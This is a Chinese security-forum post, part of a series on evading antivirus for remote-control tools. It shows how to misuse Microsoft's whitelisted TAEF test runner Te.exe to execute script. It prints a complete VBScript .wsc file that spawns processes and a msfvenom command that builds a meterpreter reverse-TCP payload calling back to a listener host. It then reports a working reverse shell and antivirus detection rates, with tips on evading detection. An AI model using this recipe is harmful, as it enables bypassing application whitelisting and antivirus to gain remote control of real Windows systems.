安全矩阵

 找回密码
 立即注册
搜索
查看: 2934|回复: 0

远控免杀专题(61)-白名单Te.exe执行payload

[复制链接]

12

主题

18

帖子

150

积分

注册会员

Rank: 2

积分
150
发表于 2020-3-29 21:42:45 | 显示全部楼层 |阅读模式
文章转载于:https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247486163&idx=1&sn=7278e3ad6cc8428bf45c1b67ce333fab&chksm=ce5e28b2f929a1a43d994fe1ac2f2e777a05c23bf13d05777a474976952df16af202b9f9a712&mpshare=1&scene=23&srcid=&sharer_sharetime=1585475122054&sharer_shareid=ff83fe2fe7db7fcd8a1fcbc183d841c4#rd



一、Te.exe介绍

如果安装了TAEF(Test Authoring and Execution Framework)框架并且位于列入白名单的路径中,则可以使用它,需要在计算机上安装Visual Studio和WDK。
微软官方文档:https://docs.microsoft.com/en-us/windows-hardware/drivers/taef/
默认安装位置:
  1. C:\ program files(x86)\Windows Kits\10\testing\Runtimes\TAEF
复制代码


使用脚本语言编写测试,Windows仅支持JScript和VBScript。

二、使用Te.exe执行系统命令


直接使用github上编写好的.wsc文件,执行calc.exe弹出计算机。https://gist.github.com/N3mes1s/ ... -datadriventest-wsc
  1. <?xml version="1.0" ?>
  2. <!-- Te.exe DataDrivenTest.wsc                                                                  -->
  3. <!-- C:\Program Files (x86)\Windows Kits\10\Testing\Runtimes\TAEF > ./TE.exe DataDrivenTest.wsc -->
  4. <!-- Test Authoring and Execution Framework v5.8k for x64                                       -->
  5. <!-- StartGroup: VBSampleTests::TestOne                                                         -->
  6. <!-- Calling TestOne                                                                            -->
  7. <!-- EndGroup: VBSampleTests::TestOne [Passed]                                                  -->
  8. <!-- Summary: Total=1, Passed=1, Failed=0, Blocked=0, Not Run=0, Skipped=0                      -->
  9. <?component error="true" debug="true"?>
  10. <package>
  11.     <ModuleProperty name="Owner" value="Someone"/>
  12.     <component id="VBSampleTests">
  13.         <object id="Log" progid="WEX.Logger.Log" />
  14.         <reference guid="e65ef678-a232-42a7-8a36-63108d719f31" version="1.0"/>
  15.         <TestClassProperty name="DocumentationUrl" value="http://shelltestkb/"/>
  16.         <public>
  17.             <method name="TestOne">
  18.                 <TestMethodProperty name="Priority" value="1"/>
  19.             </method>
  20.        </public>

  21.         <script language="VBScript">
  22.             <![CDATA[
  23.                 Function TestOne()
  24.                     Log.Comment("Calling TestOne")
  25.                     CreateObject("WScript.Shell").Run("cmd.exe")
  26.                     strComputer = "."
  27.                     Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2:Win32_Process")
  28.                     objWMIService.Create "calc.exe", null, null, intProcessID
  29.                     Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2")
  30.                     Set colMonitoredProcesses = objWMIService.ExecNotificationQuery _
  31.                         ("Select * From __InstanceDeletionEvent Within 1 Where TargetInstance ISA 'Win32_Process'")
  32.                     Do Until i = 1
  33.                         Set objLatestProcess = colMonitoredProcesses.NextEvent
  34.                         If objLatestProcess.TargetInstance.ProcessID = intProcessID Then
  35.                             i = 1
  36.                         End If
  37.                     Loop
  38.                 End Function
  39.             ]]>
  40.         </script>
  41.     </component>
  42. </package>
复制代码


可以替换calc.exe为自己想要执行的命令,比如执行系统powershell命令等等。

三、利用Te.exe执行payload(VT查杀率23/57)


使用msfvenom生成反弹vbs payload。
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.100.207 lport=4444 EXITFUNC=thread -f vbs --platform win > test.vbs
复制代码
替换.wsc文件



执行修改后的.wsc文件。



反弹成功。



打开杀软进行测试,当执行.wsc文件时会报毒,主要是msf生成的payload特征太明显了,可以根据自己的需求编写自己的vbs脚本。



vt查杀率27/57

四、参考资料


https://gist.github.com/N3mes1s/5b75a4cd6aa4d41bb742acace2c8ab42
https://twitter.com/gN3mes1s/status/927792345378099200
https://docs.microsoft.com/en-us/windows-hardware/drivers/taef/overview-of-executing-tests

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 07:06 , Processed in 0.013865 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表